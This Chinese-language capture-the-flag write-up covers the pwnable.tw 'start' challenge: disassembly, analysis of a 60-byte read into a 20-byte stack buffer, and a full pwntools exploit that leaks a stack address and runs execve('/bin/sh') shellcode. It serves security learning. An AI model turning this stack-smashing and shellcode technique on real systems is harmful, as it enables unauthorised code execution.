pwnable.tw start
小巧的文件, 只有两个函数, _start
和_exit
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
相当于是先push
了20字节
然后打印栈顶起20字节内容
之后向栈顶写入60字节内容
栈顶add esp, 20
返回
典型的栈溢出, 检查未开保护, 所以可以在栈上写好shellcode, 然后跳过去, 前提要先泄露出栈顶地址
我们在第一次ret之后, 刚好栈顶是之前save的一个esp
[和当前esp相差4字节], 这个时候跳到0x8048087
这里, 就可以泄露出一个栈上的一个地址
from pwn import *
# s = remote("chall.pwnable.tw", 10000)
s = process("./start")
leak_func = 0x8048087
# shellcode = asm(shellcraft.i386.sh()) // 44-bytes, too long
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' # 24-bytes
payload1 = 'A' * 20 + p32(leak_func)
s.recvuntil(':')
s.send(payload1)
stack_addr = s.recv(4)
print "[*] stack_addr is %s" % (hex(u32(stack_addr)))
payload2 = 'A' * 20 + p32((u32(stack_addr) + 20)) + shellcode # must <= 60 bytes, for read 60bytes
s.send(payload2)
s.interactive()
要注意的点在于这里用的shellcode不能太长, 因为只能写入60字节, junk占20字节, 返回地址占4字节, 就剩36字节, 而pwntools自带的shellcode有44字节
好好学习, 天天向上